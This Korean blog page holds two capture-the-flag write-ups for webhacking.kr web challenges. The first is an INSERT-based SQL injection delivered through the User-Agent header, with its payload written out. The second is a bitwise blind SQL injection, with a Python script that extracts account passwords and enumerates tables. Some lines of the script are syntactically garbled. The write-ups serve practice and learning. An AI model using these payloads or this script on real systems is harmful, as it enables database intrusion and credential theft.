2018. 1. 18. 19:53

## prob8(web, 350pt)


[Main]

 8번 문제는 간단한 sqli 문제였습니다. 우선 문제페이지와 소스코드를 보면 아래 [그림 1]과 같습니다.


[그림 1] 문제 페이지와 소스코드


 우선 위 [그림 1]에서 소스코드에 보면 주석으로 "index.phps"라고 되어 있습니다. 그래서 이 힌트를 바탕으로 index.phps로 접속하면 아래 [그림 2]와 같은 index.php 소스코드를 확인할 수 있습니다.


[그림 2] index.php 소스코드


  우선 우리가 주의 깊게 보아야 할 부분은 위에서 네모 박스부분입니다. 최종적으로 우리가 해야할 부분은 5번인데 3번이 포함된 select문의 결과로 id가 admin이 나오도록 해야합니다. 

 

 이런 sqli문제를 풀때 기본적으로 우리가 조작할 수 있는 input을 파악해야하는데 소스코드를 보면 $agent라는 변수가 "HTTP_USER_AGENT"값을 받아오고, 이와 같은 값인 $_SERVER[HTTP_USER_AGENT]를 수정할 수 있습니다. 따라서 3번과 4번을 조작할 수 있고 sqli 취약점이 발생하게 될 것입니다.


 그런데 한가지 문제가 발생하는데 $agent를 조작할 수 있지만 1번에 의해 "."과 "/"가 "_"로 치환되고, $pat에 정의된 정규표현식에 의해 필터링되고 있으며, $agent와 같은 값을 가지는 $_SERVER[HTTP_USER_AGENT]도 2번에 의해 single quote와 "\"가 필터링되고 있습니다. 따라서 3번의 SQL 쿼리문에서 발생하는 sqli 취약점은 싱글 쿼터와 역슬래시를 사용할 수 없고, 4번의 SQL 쿼리문에서 발생하는 sqli 취약점은 "."과 "/"를 포함한 $pat에 매치되는 문자를 사용할 수 없습니다.


 여기서 저는 3번을 이용하여 문제를 풀기 위해서는 싱글쿼터로 sql 쿼리문을 필수적으로 닫아주어야 하는데 이게 필터링 되면서 실질적으로 sqli를 이용하기가 힘들다고 판단하였습니다. 하지만 4번을 이용하여 sqli를 이용할 때는 싱글 쿼터와 ","와 ")"와 "#"(주석)이 이용 가능하다는 점을 이용하여 sql injection을 합니다. 우리의 목표는 3번 select문의 결과, id가 "admin"이 되도록 만들면 되므로 테이블에 admin을 insert 해주면 됩니다.


 위 분석을 토대로 $agent 부분에 "wjdebug','1234','admin')#"라는 쿼리문을 injection 시키면 "insert into lv0(agent,ip,id) values('wjdebug','1234','admin')"이라는 쿼리가 완성되어 id가 "admin"인 행이 생기게 됩니다. 이렇게 인젝션을 시키기 위해 아래 [그림 3]과 같이 burpsuite라는 프록시 도구를 이용해 USER_AGENT부분에 원하는 injection payload를 삽입합니다.


[그림 3] Sql injection Payload 삽입


 이제 [그림 2]에 있는 3번의 $agent에 wjdebug만 입력하면 그에 대응되는 id의 내용이 select의 결과로 나오는데 이것은 아까 insert문으로 'admin'으로 만들었기 때문에 'admin'이 반환되며 아래 [그림 4]와 같이 문제를 풀었다는 html을 리턴해냅니다.


[그림 4] congratulation!


 참고로 위 처럼 burpsuite의 repeater 탭 기능을 사용할 때 우측 상단의 target을 설정해주어야 합니다. 그리고 request는 한번 proxy로 잡아서 내용을 복붙해서 사용하면 됩니다.

'Wargame > webhacking.kr' 카테고리의 다른 글

[webhacking.kr] prob25(150pt)  (0) 2018.01.26
[webhacking.kr] prob20(200pt)  (0) 2018.01.19
[webhacking.kr] prob21(250pt)  (0) 2018.01.13
[webhacking.kr] prob18(100pt)  (0) 2018.01.12
[webhacking.kr] prob17(100pt)  (0) 2018.01.12
Posted by holinder4S
2018. 1. 18. 17:17

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.

2018. 1. 13. 14:50

## prob21(web, 250pt)


[Main]

 21번 문제는 Blind SQLi 문제였습니다. 우선 문제를 보면 아래와 같이 인풋 박스에 숫자를 입력하고 제출 버튼을 누르면 get 방식으로 no파라미터에 값을 넣고 쿼리를 실행하는 페이지를 볼 수 있습니다.


[그림 1] 문제 페이지


 위 [그림 1]에서는 입력 창에 1, 2, 3을 각각 입력하고 제출 버튼을 클릭한 결과입니다. 1과 2는 True라는 결과가 나오는데 3은 False라는 결과가 나옵니다. 우선 문제 제목부터 blind sql injection이라고 하니 "1 and 1=1#"과 "1 and 1=2#"이라는 쿼리를 날려보았습니다. 예상했던대로 앞의 쿼리는 "True"라는 결과를 뒤의 쿼리는 "False"라는 결과를 뱉어냈습니다.


 우선 저는 여기서 Get 방식의 바라미터 중에 no말고 id와 pw라는 파라미터가 왜 있는지 생각해보았고, 그 결과 DB에 컬럼 명을 힌트로 준 것이라고 생각했습니다. 그래서 id값과 pw을 알기 위해 MYSQL의 내장 함수인 substring(), ord(), bin(), lpad()함수와 if문을 사용하였는데 우선 쿼리를 짠 원리를 간단하게 설명드리겠습니다.


 만약 id컬럼에 "admin"이라는 값이 있다고 했을 때 substring(id, 1, 1)로 한글자 "a"를 떼어냅니다. 그리고 이 결과에 ord()함수를 사용하여 ord(substring(id, 1, 1))이라는 쿼리를 만들어 "a"를 숫자 97로 만들어 냅니다. 이 결과에는 bin()함수를 이용하여 bin(ord(substring(id, 1, 1)))이라는 쿼리를 만들어 97이라는 숫자를 "1100001"으로 변환시킵니다. 이 결과에 또 lpad()함수를 이용하여 lpad(bin(ord(substring(id, 1, 1))), 8, 0)이라는 쿼리를 만들어 "1100001"이라는 2진수를 8자리의 2진수로 만들기 위해 8자리 길이에 맞춰서 왼쪽부터 0으로 채워넣습니다. 그러면 "01100001"이라는 결과가 나오고 이제 이 2진수를 substring()함수를 이용하여 다시 1글자씩 떼어내는데 "substring(lpad(bin(ord(substring(id, 1, 1))), 8, 0), 1, 1)"이라는 쿼리를 만들어 "01100001"에서 한 글자 "0"을 떼어냅니다. 그리고 if문을 이용하여 "if(substring(lpad(bin(ord(substring(id, 1, 1))), 8, 0), 1, 1)=0, 1, 0)"이라는 쿼리를 최종적으로 만들어내서 "0"이면 1을 리턴하고 "1"이면 0을 리턴하는 식으로 True, False를 판단하게 됩니다.


 위 방식을 이용하면 최종적으로 "admin"이라는 글자를 알아내기 위하여 "a", "d", "m", "i", "n"이라는 글자 하나하나마다 2진수 8자리로 변환하여 1비트씩 비교하여 값을 얻어낼 수 있습니다. 이렇게 귀찮은 짓을 하는 이유는 이 방식을 사용하지 않으면 한 글자 한 글자마다 아스키 값으로 하나하나 비교하여야 하는데 이는 시간이 너무 오래 걸리고, 범위를 반토막 내서 찾는 2진 탐색기법을 하면 조금 더 빠르지만 문자열의 범위가 "0-9a-zA-Z"와 특수문자까지 포함하면 위 방식보다 시간이 더 오래 걸리기 때문에 저는 위 방식을 사용합니다.


 이렇게 코드를 짜고 나서 id와 pw를 찾으면 no=1일 때는 guest계정, no=2일 때는 admin계정이 나오는데 admin계정의 pw가 이 문제의 플래그였습니다.


[Exploit Code]  - blindsql_prob21.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
import requests
 
url = "http://webhacking.kr/challenge/bonus/bonus-1/index.php"
header = {'Cookie':'PHPSESSID=XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX',}
#params = {'no':'1', 'id':'', 'pw':''}
 
key_id = ""
key_pw = ""
 
def getLength(field):
    for i in xrange(50):
        payload = "1 and length(" + field + ")="+str(i)+"#"
        params = {'no':payload, 'id':'''pw':''}
        req = requests.get(url = url, params = params, headers = header)
        res = req.text
        if "True" in res:
            print "[+] " + field + " length : " + str(i)
            break
 
def getContent(field):
    #length = int(raw_input("Input " + field + " length : "))
    content = ""
    for i in xrange(50):
    #for i in xrange(length):
        binary = ""
        for j in xrange(8):
            payload = "2 and if(substring(lpad(bin(ord(substring("+field+","+str(i+1)+",1))),8,0),"+str(j+1)+",1)=0,1,0)"
            params = {'no':payload, 'id':'''pw':''}
            req = requests.get(url = url, params = params, headers = header)
            res = req.text
            if "True" in res:
                binary += '0'
            else:
                binary += '1'
        content += chr(int(binary, 2))
        if int(binary, 2== 0:
            print "[*] Blind SQLi Search End."
            print "[*] " + field + " : " + content[:-1" => found!"
            break
        print "[+] Content Finding : " + content
 
'''
def getTableName():
    content = ""
    for i in xrange(50):
        for j in xrange(50):
            binary = ""
            for k in xrange(8): 
                payload = "2 and if((select substring(lpad(bin(ord(substring(table_name,"+str(j+1)+",1))),8,0),"+str(k+1)+",1) from information_schema.tables limit "+str(i+1)+",1)=0,1,0)"
                params = {'no':payload, 'id':'', 'pw':''}
                req = requests.get(url = url, params = params, headers = header)
                res = req.text
                if "True" in res:
                    binary += '0'
                else:
                    binary += '1'
            content += chr(int(binary, 2))
            if int(binary, 2) == 0:
                print "[*] Blind SQLi Search End."
                print "[*] " + field + " : " + content[:-1]
                print "[*] " + field + " found!"
            print "[+] Table Finding : " + content
'''
 
if __name__ == '__main__':        
    #getLength("id")     # id length finding
    #getLength("pw")     # pw length finding
    getContent("id")    # id content finding
    getContent("pw")    # pw content finding
    #getTableName()
 
# ref1) https://www.geeksforgeeks.org/get-post-requests-using-python/
# ref2) https://dev.mysql.com/doc/refman/5.7/en/string-functions.html
# ref3) http://choiys.tistory.com/entry/Wargamekr-Web700ip-log-table?category=684299
 
cs



'Wargame > webhacking.kr' 카테고리의 다른 글

[webhacking.kr] prob20(200pt)  (0) 2018.01.19
[webhacking.kr] prob8(350pt)  (0) 2018.01.18
[webhacking.kr] prob18(100pt)  (0) 2018.01.12
[webhacking.kr] prob17(100pt)  (0) 2018.01.12
[webhacking.kr] prob10(250pt)  (0) 2018.01.12
Posted by holinder4S